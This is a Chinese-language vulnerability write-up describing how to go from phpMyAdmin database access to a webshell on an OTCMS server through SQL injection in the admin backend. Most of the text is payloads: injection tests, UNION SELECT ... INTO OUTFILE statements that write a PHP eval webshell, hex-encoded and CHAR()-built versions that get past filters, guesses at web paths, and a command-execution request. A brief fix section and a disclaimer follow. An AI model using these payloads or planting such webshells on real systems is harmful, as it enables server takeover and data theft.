从PHPMYADMIN getshell到OTCMS后台 SQL getshell
字数 1261 2025-08-07 08:22:00
OTCMS 从 PHPMYADMIN 到后台 SQL Getshell 漏洞分析与利用
漏洞概述
本文详细分析了一个从 PHPMYADMIN 到 OTCMS 后台的 SQL getshell 漏洞利用链。该漏洞涉及 SQL 注入和文件写入权限,最终导致攻击者能够在目标服务器上获取 webshell。
漏洞利用链
1. PHPMYADMIN 访问
首先需要获取 PHPMYADMIN 的访问权限,这可以通过以下方式之一实现:
- 默认安装路径访问
- 通过信息泄露获取凭证
- 其他漏洞获取数据库访问权限
2. SQL 注入点
在 OTCMS 后台存在一个 SQL 注入点,关键特征:
- 注入点位于后台管理界面
- 需要管理员或足够权限的账户
- 注入参数未经过滤直接拼接到 SQL 语句中
3. 关键突破点 - 分号问题
作者最初遇到的主要障碍是关于 SQL 语句中分号的使用问题。经过尝试发现:
- 某些情况下需要包含分号来终止语句
- 其他情况下分号会导致语句执行失败
- 需要根据上下文调整是否包含分号
4. Getshell 技术
通过 SQL 注入实现 getshell 的关键步骤:
-
确定可写目录:
- 通过
select @@secure_file_priv确定 MySQL 导出文件权限 - 寻找 web 目录的可写路径
- 通过
-
构造文件写入语句:
SELECT '<?php @eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php' -
绕过限制:
- 使用 HEX 编码绕过过滤
- 使用 CHAR() 函数拼接
- 尝试不同的文件路径
详细利用步骤
步骤 1:获取数据库访问权限
- 通过 PHPMYADMIN 或其他方式获取数据库访问权限
- 确认数据库用户有 FILE 权限:
SELECT file_priv FROM mysql.user WHERE user = '[username]';
步骤 2:定位 OTCMS 后台注入点
- 登录 OTCMS 后台
- 寻找可能存在 SQL 注入的功能点(如内容管理、用户管理等)
- 通过参数测试确认注入点
步骤 3:构造注入 payload
-
测试基础注入:
' AND 1=1 -- ' AND 1=2 -- -
确认注入类型(联合查询、布尔盲注、时间盲注等)
-
构造文件写入 payload:
' UNION SELECT 1,2,3,4,'<?php @eval($_POST[cmd]);?>',6,7 INTO OUTFILE '/path/to/web/shell.php' --
步骤 4:处理分号问题
- 尝试不带分号的 payload
- 如果失败,尝试添加分号:
'; UNION SELECT 1,2,3,4,'<?php @eval($_POST[cmd]);?>',6,7 INTO OUTFILE '/path/to/web/shell.php' --
步骤 5:验证 getshell
- 访问写入的文件路径:
http://target.com/shell.php - 使用 POST 参数
cmd执行命令:cmd=system('whoami');
技术要点总结
-
权限要求:
- MySQL 用户需要有 FILE 权限
- 目标目录需要有可写权限
- secure_file_priv 不能设置为 NULL
-
绕过技巧:
- 使用 HEX 编码绕过过滤:
SELECT 0x3C3F70687020406576616C28245F504F53545B636D645D293B3F3E INTO OUTFILE '/path/to/shell.php' - 使用 CHAR() 函数拼接:
SELECT CONCAT(CHAR(60),CHAR(63),CHAR(112),CHAR(104),CHAR(112),CHAR(32),CHAR(64),CHAR(101),CHAR(118),CHAR(97),CHAR(108),CHAR(40),CHAR(36),CHAR(95),CHAR(80),CHAR(79),CHAR(83),CHAR(84),CHAR(91),CHAR(99),CHAR(109),CHAR(100),CHAR(93),CHAR(41),CHAR(59),CHAR(63),CHAR(62)) INTO OUTFILE '/path/to/shell.php'
- 使用 HEX 编码绕过过滤:
-
路径探测:
- 通过报错信息获取路径
- 尝试常见 web 路径:
/var/www/html/ /var/www/ /usr/local/apache2/htdocs/
漏洞修复
开发者在最新版本中修复了此漏洞,修复措施包括:
- 对 SQL 查询参数进行严格过滤
- 限制数据库用户的 FILE 权限
- 增加对文件写入操作的权限检查
经验总结
- 分号在 SQL 注入中的使用需要根据上下文灵活调整
- 不要局限于单一思路,多尝试不同方法
- 与开发者合作修复漏洞是负责任的披露方式
免责声明
本文仅用于安全研究和教育目的。未经授权对系统进行测试或攻击是违法行为。请在法律允许范围内进行安全研究。